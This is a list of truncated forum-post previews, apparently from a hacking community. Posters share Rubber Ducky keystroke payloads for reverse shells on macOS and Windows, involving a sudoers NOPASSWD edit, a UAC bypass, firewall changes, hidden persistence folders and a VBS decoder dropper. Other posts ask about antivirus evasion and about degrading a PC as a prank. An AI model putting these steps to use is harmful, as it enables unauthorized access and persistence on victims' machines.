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  1. Sometime when you need to map networks, for example when you gain access to a LAN server without security tools on it, it can be useful to retrieve reverses dns for a specified internal PI. You can do it directly in bash with this short command line (example for 192.168.1.0/24) : seq 1 254 |xargs -I{} -n 1 host 192.168.1.{} It also works fine on a public PI of course. Don't hesitate to share your tips too :) -- Christophe Casalegno https://twitter.com/Brain0verride
  2. Hello. I am getting the following error when running the reverse shell script: c:\decoder.vbs(2, 179) Microsoft VBScript compilation error: Expected integer constant I tried it on Windows 7 and 10 with the same result. Here is the script I am using: And here is the screen output: Any help would be much appreciated! Thanks in advance.
  3. Hi! I'm new to the Rubber Ducky and to this community. I've made a simple payload to create a reverse bash in an OS X target by using crontab. I've seen some examples that use complicated generated plist files, and I'm not sure about what the advantage is over setting a cron to recover the session. Anyway, this is my payload: DELAY 2000 REM --------------- OPEN TERMINAL IN A NEW WINDOW --------------- COMMAND SPACE DELAY 300 STRING Terminal DELAY 300 ENTER DELAY 700 COMMAND n DELAY 500 REM --------------- ESCALATE PRIVILEGES --------------- STRING echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:
  4. Hello everyone! Super new here and have started going through some metasploit tutorials. Of course I have managed to run into an issue that I have not seen any tutorial run into. After I set my RHOST and RPORT and exploit it it sits at [*] Started reverse double handler And then goes back to the regular msf command line. I have attempted this attack from my laptop to the VM running on my desktop of metasploitable, as well as from the VM Kali linux running on my desktop, both results were the exact same. Does anyone have any idea where I should start? I have attached a file of what I am stuc
  5. This is a simple modification to the powershell reverse payload w/UAC for Win7 in simple-ducky to make it persistent. All credit goes to Skysploit for this payload! I added the quicker UAC bypass method and edited the location that the EXE is placed for persistence. Verified system privileges after log off and reboots! :D ****************************************************************************************************************************** DELAY 5000 ESCAPE DELAY 400 CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 MENU DELAY 400 STRING a DELAY 700 ALT Y DELAY 800 ENTER STRING netsh fire
  6. Hi all, Here are my first additions to this community (after owning the Duck for two days!) I've created a pull request for the simple duck payload generator by skysploit if you wish to clone my repository and try these in the simple-ducky environment. https://github.com/kidovate/simple-ducky/commit/496786541282825b9c2034f06b7a57469434281d First of all, a new MAC OS X payload based on python (much more reliable!) REM Mac OSX Rev by Christian Stewart (@kidovate) GUI SPACE DELAY 500 STRING terminal DELAY 400 ENTER DELAY 1000 STRING cd ~ ENTER STRING mkdir .maintScripts ENTER STRING cd .mai
  7. /etc/sysctl.conf ##############################################################3 # Functions previously found in netbase # # Uncomment the next two lines to enable Spoof protection (reverse-path filter) # Turn on Source Address Verification in all interfaces to # prevent some spoofing attacks #net.ipv4.conf.default.rp_filter=1 #net.ipv4.conf.all.rp_filter=1 This is in the backtrack "/etc/sysctl.conf" So why this option give to us? what is the reverse-path filter? Are you think This option is most important to hide my ID? Help me...
  8. I was noticing how there are many ways to defrag a hard drive today but not one way to fragment it. Basically like taking the windows defrag program and kicking it into reverse. I know there has to be a way to do it to use to slow down a systems proformance mainly just for fun or as a prank. Imagine someone going to anaylise a hard drive and see nothing but red fragmentation lol. I was wondering if there was a way to not use the systems ram so everything would get dumped over to the hard drive which yes would thrash it a bit but would be a solution. The other is just to mod the defrag program
  9. Guys, I take no credit for this payload.... I just took an already working payload and made some minor tweeks (the way the command prompt is opened) to make more it reliable for my personal use. The original code can be found here; https://securepla.net/download/ducky.txt DELAY 600 ESCAPE ESCAPE DELAY 400 WINDOWS R DELAY 400 STRING cmd DELAY 400 ENTER DELAY 400 STRING copy con c:\decoder.vbs ENTER STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0) STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim ob
  10. Hey everyone! I tried the Reverse Shell payload on a computer running Windows 7 x64 and Kaspersky 2012. Everything was going well up until the binary was compiled. Kaspersky was able to detect it and clean it!! Anyone else run into this issue?
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